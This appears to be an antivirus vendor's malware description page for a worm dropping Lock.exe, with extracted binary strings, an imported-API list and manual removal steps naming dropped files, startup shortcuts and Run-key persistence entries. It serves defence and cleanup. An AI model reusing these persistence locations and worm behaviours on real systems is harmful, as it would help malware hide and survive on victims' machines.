name="Microsoft.Windows.SystemCompatible"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
< =$>:>@>
2%2X2
%SystemRoot%
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\FullScreen
WindowSize
ColorTableu
ExtendedEditkeyCustom
ExtendedEditKey
Software\Microsoft\Windows\CurrentVersion
\ !:=/.<>;|&
%d/%d
cmd.exe
desktop.ini
\console.dll
%d/%d
6.1.7601.17641 (win7sp1_gdr.110623-1503)
CONHOST.EXE
Windows
Operating System
6.1.7601.17641

Lock.exe_3644:

.text
`.rdata
@.data
.rsrc
s%j.Zf
8crtsu
:crts
PSSSSSSh
crts
Dw.AEw
Bv.SCvt
?#%X.y
GetProcessWindowStation
operator
uxtheme.dll
kernel32.dll
operand of unlimited repeat could match the empty string
POSIX named classes are supported only within a class
erroffset passed as NULL
POSIX collating elements are not supported
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N{name}, \U, or \u
support for \P, \p, and \X has not been compiled
this version of PCRE is not compiled with PCRE_UCP support
ICMP.DLL
advapi32.dll
RegDeleteKeyExW
Error text not found (please report)
WSOCK32.dll
VERSION.dll
WINMM.dll
COMCTL32.dll
MPR.dll
InternetCrackUrlW
HttpQueryInfoW
HttpOpenRequestW
HttpSendRequestW
FtpOpenFileW
FtpGetFileSize
InternetOpenUrlW
WININET.dll
PSAPI.DLL
USERENV.dll
GetProcessHeap
CreatePipe
GetWindowsDirectoryW
KERNEL32.dll
OpenWindowStationW
SetProcessWindowStation
CloseWindowStation
MapVirtualKeyW
EnumChildWindows
EnumWindows
VkKeyScanW
GetKeyState
GetKeyboardState
SetKeyboardState
GetAsyncKeyState
keybd_event
EnumThreadWindows
ExitWindowsEx
UnregisterHotKey
RegisterHotKey
GetKeyboardLayoutNameW
USER32.dll
SetViewportOrgEx
GDI32.dll
COMDLG32.dll
RegOpenKeyExW
RegCloseKey
RegCreateKeyExW
RegEnumKeyExW
RegDeleteKeyW
ADVAPI32.dll
ShellExecuteW
SHFileOperationW
ShellExecuteExW
SHELL32.dll
ole32.dll
OLEAUT32.dll
GetCPInfo
zcÁ
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
mscoree.dll
nKERNEL32.DLL
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
WUSER32.DLL
>>>AUTOIT NO CMDEXECUTE<<<
CMDLINERAW
CMDLINE
/AutoIt3ExecuteLine
/AutoIt3ExecuteScript
%s (%d) : ==> %s.:
Line %d:
Line %d (File "%s"):
%s (%d) : ==> %s:
AutoIt script files (*.au3, *.a3x)
*.au3;*.a3x
All files (*.*)
#NoAutoIt3Execute
APPSKEY
04090000
%u.%u.%u.%u
0.0.0.0
Mddddd
"%s" (%d) : ==> %s:
UDPSTARTUP
UDPSHUTDOWN
UDPSEND
UDPRECV
UDPOPEN
UDPCLOSESOCKET
UDPBIND
TRAYGETMSG
TCPSTARTUP
TCPSHUTDOWN
TCPSEND
TCPRECV
TCPNAMETOIP
TCPLISTEN
TCPCONNECT
TCPCLOSESOCKET
TCPACCEPT
SHELLEXECUTEWAIT
SHELLEXECUTE
REGENUMKEY
MSGBOX
ISKEYWORD
HTTPSETUSERAGENT
HTTPSETPROXY
HOTKEYSET
GUIREGISTERMSG
GUIGETMSG
GUICTRLSENDMSG
GUICTRLRECVMSG
FTPSETPROXY
\??\%s
GUI_RUNDEFMSG
SendKeyDelay
SendKeyDownDelay
TCPTimeout
AUTOITCALLVARIABLE%d
255.255.255.255
Keyword
AutoIt.Error
Null Object assignment in FOR..IN loop
Incorrect Object type in FOR..IN loop
HOTKEYPRESSED
AUTOITEXE
WINDOWSDIR
3, 3, 9, 4
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_CURRENT_CONFIG
HKEY_CURRENT_USER
HKEY_USERS
%d/d/d
C:\Lock.exe
]5]>]?]<]/]
0.0.0.95


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:2224
    rundll32.exe:1828
    Lock.exe:3644

  2. Delete the original Worm file.
  3. Delete or disinfect the following files created/modified by the Worm:

    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\ver_lock[1].txt (358 bytes)
    C:\up.bat (640 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\32-00095[1].exe (493641 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autB443.tmp (3465 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\2e19d53e50a19f9356aa6585a014432e.lnk (615 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ver.txt (376 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autB454.tmp (196 bytes)
    %Program Files%\Home\srvany.exe (8 bytes)
    C:\update.exe (132657 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\EMQLHK1Z\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\I7ZT4QCS\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\3MTT4SGT\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\KWPG8Z2M\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\desktop.ini (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\times.ini (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autC95B.tmp (1960 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\tj[1].htm (39 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autC95A.tmp (40 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\lock.lnk (5652 bytes)
    %Program Files%\Common Files\IE11.exe (1137 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\softstat.tmp (39 bytes)
    %Program Files%\360\360Safe\deepscan\speedmem2.hg (7337 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4ZZNMJGQ\ver_lock[1].txt (358 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\autDAE6.tmp (3465 bytes)
    C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
    %Program Files%\Common Files\ie.ini (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "2e19d53e50a19f9356aa6585a014432e" = "C:\%original file name%.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "Lock" = "C:\Lock.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2024 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now